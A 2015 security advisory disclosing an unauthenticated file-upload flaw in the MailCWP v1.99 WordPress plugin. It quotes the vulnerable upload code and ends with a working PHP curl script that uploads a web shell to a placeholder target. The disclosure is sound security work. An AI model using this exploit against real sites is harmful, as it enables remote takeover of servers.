Advisory #: 138
Title: Remote file upload vulnerability in mailcwp v1.99 wordpress plugin
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-09
Download Site: https://wordpress.org/plugins/mailcwp/
Vendor: CadreWorks Pty Ltd
Vendor Notified: 2015-07-09
Vendor Contact: Contact Page via WP site
Description: MailCWP, Mail Client for WordPress. A full-featured mail client plugin providing webmail access through your WordPress blog or website.
Vulnerability:
The code in mailcwp-upload.php doesn't check that a user is authenticated or what type of file is being uploaded any user can upload a shell to the target wordpress server: 2 $message_id = $_REQUEST["message_id"]; 3 $upload_dir = $_REQUEST["upload_dir"]; . . 8 $fileName = $_FILES["file"]["name"]; 9 move_uploaded_file($_FILES["file"]["tmp_name"], "$upload_dir/$message_id-$fileName"); Exploitation requires the attacker to guess a writeable location in the http server root.
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Exploit Code:
  1. <?php
  2. /*Larry W. Cashdollar @_larry0
  3. Exploit for mailcwp v1.99 shell will be called 1-shell.php.
  4. 7/9/2015
  5. */
  6.         $target_url = 'http://www.example.com/wp-content/plugins/mailcwp/mailcwp-upload.php?message_id=1&upload_dir=/usr/share/wordpress/wp-content/uploads';
  7.         $file_name_with_full_path = '/var/www/shell.php';
  8.  
  9.         echo "POST to $target_url $file_name_with_full_path";
  10.         $post = array('file' => 'shell.php','file'=>'@'.$file_name_with_full_path);
  11.  
  12.         $ch = curl_init();
  13.         curl_setopt($ch, CURLOPT_URL,$target_url);
  14.         curl_setopt($ch, CURLOPT_POST,1);
  15.         curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  16.         curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  17.         $result=curl_exec ($ch);
  18.         curl_close ($ch);
  19.         echo "<hr>";
  20.         echo $result;
  21.         echo "<hr>";
  22. ?>
  23.  
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